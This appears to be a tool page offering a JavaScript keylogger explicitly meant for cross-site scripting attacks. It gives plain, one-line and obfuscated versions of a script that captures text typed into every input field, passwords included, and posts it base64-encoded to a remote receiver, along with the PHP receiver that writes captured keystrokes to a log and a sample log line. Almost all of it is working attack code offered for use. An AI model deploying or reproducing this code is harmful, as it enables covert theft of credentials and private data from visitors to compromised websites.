JavaScript Keylogger to be used in XSS attacks
The script creates an event to detect the insertion of text in each text field of type "input" and sends the written content to the specified server that will have the second script called "receiver.php" running.
JavaScript Source Code
Normal Source Code
- Replace the TYPE_THE_RECEIVER.PHP_URL_HERE
with the URL of the receiver script
var str = "";
var lastPress = Date.now();
var sent = true;
var declared = false;
var element = "";
var inputs = document.querySelectorAll('input');
for (i = 0; i < inputs.length; i++) {
inputs[i].oninput = function(e) {
str = e.target.value;
element = e.target.outerHTML;
sent = false;
lastPress = Date.now();
}
}
if (declared === false) {
declared = true;
var req = new XMLHttpRequest();
window.setInterval(function() {
if (sent === false && (Date.now() - lastPress) >= 2000) {
sent = true;
req.open("POST","TYPE_THE_RECEIVER.PHP_URL_HERE", true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.send("str="+btoa(element+" -> "+str));
}
}, 500);
}
One Line Source Code
- Replace the TYPE_THE_RECEIVER.PHP_URL_HERE
with the URL of the receiver script
var str="";var lastPress=Date.now();var sent=true;var declared=false;var element="";var inputs=document.querySelectorAll('input');for(i=0;i<inputs.length;i++){inputs[i].oninput=function(e){str=e.target.value;element=e.target.outerHTML;sent=false;lastPress=Date.now()}}if(declared===false){declared=true;var req=new XMLHttpRequest();window.setInterval(function(){if(sent===false&&(Date.now()-lastPress)>=2000){sent=true;req.open("POST","TYPE_THE_RECEIVER.PHP_URL_HERE",true);req.setRequestHeader("Content-type","application/x-www-form-urlencoded");req.send("str="+btoa(element+" -> "+str))}},500)}
Ofuscated Source Code
- Replace the TYPE_THE_RECEIVER.PHP_URL_HERE
with the URL of the receiver script
var _0x46009d=_0x1166;(function(_0x5240e0,_0xa2a147){var _0x2b658c=_0x1166,_0x471711=_0x5240e0();while(!![]){try{var _0x2785e6=-parseInt(_0x2b658c(0xdc))/0x1*(parseInt(_0x2b658c(0xdf))/0x2)+-parseInt(_0x2b658c(0xd9))/0x3+-parseInt(_0x2b658c(0xdb))/0x4+-parseInt(_0x2b658c(0xe2))/0x5+-parseInt(_0x2b658c(0xeb))/0x6+parseInt(_0x2b658c(0xde))/0x7*(-parseInt(_0x2b658c(0xe5))/0x8)+parseInt(_0x2b658c(0xdd))/0x9;if(_0x2785e6===_0xa2a147)break;else _0x471711['push'](_0x471711['shift']());}catch(_0x5579f9){_0x471711['push'](_0x471711['shift']());}}}(_0x1591,0x629fd));var str='',lastPress=Date[_0x46009d(0xe8)](),sent=!![],declared=![],element='',inputs=document[_0x46009d(0xda)](_0x46009d(0xd5));for(i=0x0;i<inputs[_0x46009d(0xd8)];i++){inputs[i][_0x46009d(0xe3)]=function(_0x37b8b9){var _0x83cbfa=_0x46009d;str=_0x37b8b9[_0x83cbfa(0xe9)][_0x83cbfa(0xd6)],element=_0x37b8b9[_0x83cbfa(0xe9)][_0x83cbfa(0xd7)],sent=![],lastPress=Date[_0x83cbfa(0xe8)]();};}function _0x1591(){var _0x4419c4=['str=','open','2552125XAdCtV','oninput','setInterval','589216BpoPwR','TYPE_THE_RECEIVER.PHP_URL_HERE','application/x-www-form-urlencoded','now','target','send','2332524ujwUnQ','input','value','outerHTML','length','908493niXoGr','querySelectorAll','2406004KvWXcB','16739DEdXzG','28635201KKIsoe','56tjjgLb','46uBySdK'];_0x1591=function(){return _0x4419c4;};return _0x1591();}function _0x1166(_0x31ece7,_0x2e443e){var _0x159156=_0x1591();return _0x1166=function(_0x116607,_0x4a095d){_0x116607=_0x116607-0xd5;var _0x226807=_0x159156[_0x116607];return _0x226807;},_0x1166(_0x31ece7,_0x2e443e);}if(declared===![]){declared=!![];var req=new XMLHttpRequest();window[_0x46009d(0xe4)](function(){var _0x40b287=_0x46009d;sent===![]&&Date[_0x40b287(0xe8)]()-lastPress>=0x7d0&&(sent=!![],req[_0x40b287(0xe1)]('POST',_0x40b287(0xe6),!![]),req['setRequestHeader']('Content-type',_0x40b287(0xe7)),req[_0x40b287(0xea)](_0x40b287(0xe0)+btoa(element+'\x20->\x20'+str)));},0x1f4);}
PHP Source Code
<?php
header('Access-Control-Allow-Origin: *');
if (isset($_POST['str']) && strlen($_POST['str']) > 0) {
file_put_contents("keylog.log", date('Y/m/d h:i:s')." | ".base64_decode($_POST['str']).PHP_EOL, FILE_APPEND);
}
?>
Log Output Example
2022/01/02 07:50:48 | <input type="text" id="inputTestId" name="inputTestName" class="inputTestClass"> -> This is a log example